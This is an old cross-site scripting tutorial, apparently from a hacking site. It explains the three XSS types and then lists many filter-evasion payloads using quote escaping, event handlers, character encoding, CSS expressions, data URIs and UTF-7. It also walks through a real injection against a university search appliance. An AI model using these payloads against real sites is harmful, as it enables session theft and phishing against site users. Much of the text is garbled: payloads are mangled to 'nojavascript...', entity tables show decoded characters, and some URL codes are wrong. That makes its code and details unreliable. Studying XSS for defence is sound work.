What is Cross Site Scripting?
There are three distinct types of XSS vulnerabilities:
non-persistent
persistent
and DOM-based (which can be either persistent or non-persistent).
Non-persistent cross-site scripting hole is also referred to as a reflected vulnerability, and is by far the most common type. These holes show up when data provided by a web client is used immediately by server-side scripts to generate a page of results for that user. A classic example of this is in site search engines: if one searches for a string which includes some HTML special characters, often the search string will be redisplayed on the result page to indicate what was searched for, or will at least include the search terms in the text box for easier editing. If any occurrence of the search terms is not HTML entity encoded, an XSS hole will result.
Persistent XSS vulnerability is also referred to as a stored or second-order vulnerability, and it allows the most powerful kinds of attacks. A type 2 XSS vulnerability exists when data provided to a web application by a user is first stored persistently on the server (in a database, file system, or other location), and later displayed to users in a web page without being encoded using HTML entities. A classic example of this is with online message boards, where users are allowed to post.
DOM-based XSS vulnerability, also referred to as local cross-site scripting, is based on the standard object model for representing HTML or XML called the Document Object Model or DOM for short. With DOM-based cross-site scripting vulnerabilities, the problem exists within a page's client-side script itself. For instance, if a piece of JavaScript accesses a URL request parameter and uses this information to write some HTML to its own page, and this information is not encoded using HTML entities, an XSS hole will likely be present, since this written data will be re-interpreted by browsers as HTML which could include additional client-side scripts.
Finding XSS Vulnerabilities
<script>alert("XSS")</script> |
When this example is injected into an input box or a URL parameter, it will either fire or it will fail. If the injection fails, it doesn't mean the site is secure, it just means you need to look deeper.
XSS Filter Evasion
Escaping From Strings
<INPUT type="text" value='<SCRIPT>alert("XSS")</SCRIPT>'>
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In this example we could alter our input to include two characters that allow the injected code to jump out of the single quotes:
'><SCRIPT>alert("XSS")</SCRIPT>
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Now our code renders because we have ended the input encapsulation and HTML tag before our vector, which allows it to fire. However, in this case, the extraneous single quote and closed angle bracket are displayed on the Web page.This can be suppressed if we update our vector into the following:
'><SCRIPT>alert("XSS")</SCRIPT><xss a='
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This turns the code output into:
<INPUT type="text" value=''><SCRIPT>alert("XSS")</SCRIPT><xss a=''>
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As a result, the JavaScript code is injected with no visible indication of its existence.The <xss a=''> tag does not render, because it is not valid.
Working Around Filtered Quotes
<INPUT type="text" value='\'><SCRIPT>alert(\"XSS\")</SCRIPT>'>
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There are several methods to try and work around this it all depends on the filtering in place. One method is to use Character Entities. Some characters are reserved in HTML. For example, you cannot use the greater than or less than signs within your text because the browser could mistake them for markup. If we want the browser to actually display these characters we must insert character entities in the HTML source.
| " | " | " | quotation mark, apl quote |
| & | & | & | ampersand |
| < | < | < | less-than sign |
| > | > | > | greater-than sign |
Using the code (") or (") in place of our quotes is one method to try and work around quote filtering. Example:
<script>alert("XSS")</script>
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<script>alert("XSS")</script>
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<script>alert(&XSS&)</script>
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If no quotes of any kind are allowed you can use fromCharCode in JavaScript to create any XSS code you need. The fromCharCode() takes the specified Unicode values and returns a string. Example:
<script>alert("XSS")</script>
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<script>alert(String.fromCharCode(88,83,83))</script>
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| <INPUT type="text" value='\'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>'> |
You can use the For MySql char(ASCII,ASCII,...): calculator bellow to translate your code into CharCode.
Working Around <SCRIPT> Filtering
<BODY onload="alert('XSS')">
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The "onload" keyword inside HTML represents an event handler. It doesn't work with all HTML tags, but it is particularly effective inside BODY tags.That said, there are instances where this approach will fail, such as when the BODY onload event handler is previously overloaded higher on the page before your vector shows up. Another useful example is the onerror handler:
<IMG SRC="" onerror="alert('XSS')">
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Because the image is poorly defined, the onerror event handler fires causing the JavaScript inside it to render, all without ever calling a <script> tag.
Using IMG SRC
<IMG SRC="nojavascript...alert('XSS');">
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No quotes and no semicolon:
<IMG SRC=nojavascript...alert('XSS')>
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Filtering quotes and script:
<IMG SRC=nojavascript...alert("XSS")>
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Using CharCode to work around filtering quotes:
<IMG SRC=nojavascript...alert(String.fromCharCode(88,83,83))>
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A simple attack vector, like the one above, can be even further obfuscated by transforming the entire string into the decimal equivalent of the ASCII characters:
<IMG
SRC=javascript:ale
rt('XSS')>
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Using the ASCII table you can decipher this example, and then use the same method of obfuscation to create your own injectable string. The same can be done for hexadecimal:
<IMG
SRC=javascript:al&
#x65;rt('XSS')>
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While the javascript: directive syntax inside images has been depreciated since IE 7.0, it still works in IE 6.0, Opera 9.0, Netscape 8.0 (when in the IE rendering engine, although it has also been depreciated as of 8.1)
Using Tab, New Line, and Carriage Return
<IMG SRC="javšscript:alert('XSS');">
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The example above uses a tab Minimum Sized Decimal to break up the word javascript intern breaking up the XSS and tricking the filter. The output above will look as follows:
<IMG SRC="jav
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| Horizontal Tab | New line | Carriage Return | |
| URL | %09 | %10 | %13 |
| Minimal Sized Hex | 	 | 
 | 
 |
| Maximum Sized Hex | 	 | 
 | 
 |
| Minimum Sized Decimal | 	 | 
 | 
 |
| Maximum Sized Decimal | 	 | 	 | 	 |
Using Null character
<SCRIPT>alert("XSS")</SCRIPT>
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The null character () stops the filters from recognizing the <SCRIPT> tag. This only works in IE 6.0, IE 7.0, and Netscape 8.0 in IE rendering engine mode.
Not filtering inside encapsulating pairs
<IMG """><SCRIPT>alert('XSS')</SCRIPT>">
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Technically, inside the IMG tag, the first two quotes should be considered encapsulation and should do nothing.The next quote should allow encapsulation and go to the next quote which is after the </SCRIPT> tag. Lastly, it should be closed by the trailing end angle bracket. But all major browsers, such as, IE, Firefox, Netscape, or Opera take this as malformed HTML and attempt to fix it. The output then looks like:
<img><script>alert('xss')</script>">
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CSS Filter Evasion
<LINK REL="stylesheet" HREF="nojavascript...alert('XSS');">
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However, IE has depreciated this as of 7.0, and it no longer works, you can still get it working in Opera and users who may still have IE 6.0 installed. Another way is to use the <STYLE> tag. It is rare that users have access to modify styles but it does happen. This is more common in cases of forums where users have access to the layout and design on their post. The following will work in IE and Netscape in the IE rendering engine mode: <STYLE> a { width: expression(alert('XSS')) } </STYLE> <A> Using the above as an example, you can see how the expression tag allows the attacker to inject JavaScript without using the JavaScript directive or the <SCRIPT> tag.
<DIV STYLE="width: expression(alert('XSS'));">
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Obscure Filters
<META HTTP-EQUIV="refresh"
CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
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The data directive allows us to inject entire documents inside a single string. The data directive works inside Firefox, Netscape in Gecko rendering engine mode, and Opera.
Using Double Quotes
<IMG SRC=`nojavascript...alert("Look its, 'XSS'")`>
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Escaping characters
It's worth mentioning that this will ONLY work if it's an own written (weak) defending script.
<IMG SRC=`nojavascript...alert(\"XSS\")`>
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The result would be:
<IMG SRC=`nojavascript...alert(\\"XSS\\")`>
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As you can see your own escape characters now filter out the escape characters used by the XSS protection.
Encoding
A real world example of an XSS encoded vulnerability was found in Google search appliance by a hacker named Maluc. Maluc found that a normal Google search appliance query looked like:
http://ask.stanford.edu/search?output=xml_no_dtd&client=stanford&pro">http://ask.stanford.edu/search?output=xml_no_dtd&client=stanford&pro
xystylesheet=stanford&site=stanfordit&oe=UTF-8&q=hi
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He noticed that according to this string (oe=UTF-8) he could change the UTF code. He changed the UTF string from UTF-8 to UTF-7.
UTF-7 (7-bit Unicode Transformation Format) is a variable-length character encoding that was proposed for representing Unicode-encoded text using a stream of ASCII characters, for example for use in Internet e-mail messages. UTF-7 is generally not used as a native representation within applications as it is very awkward to process despite its size advantage over the combination of UTF-8 with either quoted-printable or base64.
Lets take for example:
<script>alert("XSS")</script>
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And encode it using UTF-7:
+ADw-script+AD4-alert(+ACI-XSS+ACI-)+ADw-/script+AD4-
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Now all + have to be changed to URL code in a GET strings for this to work. So the URL code for + is %2B now we have:
%2BADw-script%2BAD4-alert%281%29%2BADw-/script%2BAD4-
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URL encoding is turning a string into a safe block of text for appending on the query string of a URL.To encode characters to append to a URL, you use a percentage symbol, followed by the two-digit hex number representing that character.
For example:
| Original character | Character Entity Reference |
| space | %20 |
| / (forward slash) | %2F |
| " (double quote) | %22 |
| ? (question mark) | %3F |
| + | %2B |
With this Maluc came up with:
http://ask.stanford.edu/search?output=xml_no_dtd&client=stanford&pro">http://ask.stanford.edu/search?output=xml_no_dtd&client=stanford&pro
xystylesheet=stanford&site=stanfordit&oe=UTF-7&q=%2BADw-script%2BAD4-alert%281%29%2BADw-/script%2BAD4-x
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And was able to successfully execute an XSS script.
Of course the effect of the XSS is only temporary and only affects the user who go to that URL, but this could easily provide an avenue for phishing. In this way, Google appliance has hurt Stanford University's security by being placed on the same domain.
Written by Override and Killordie
References
Rsnake, XSS (Cross Site Scripting) Cheat
http://ha.ckers.org/xss.html [viewed 07/25/2009].
XSS (Cross Site Scripting) Prevention Cheat Sheet
http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet [viewed 07/25/2009].
Xylitol (2008) Cross Site Scripting - Attack and Defense guide
http://milw0rm.com/papers/192 [viewed 07/25/2009].
Langy,XSS Guide - 1st Part
http://www.googlebig.com/forum/-en-xss-guide-1st-part-t-157.html [viewed 07/25/2009].
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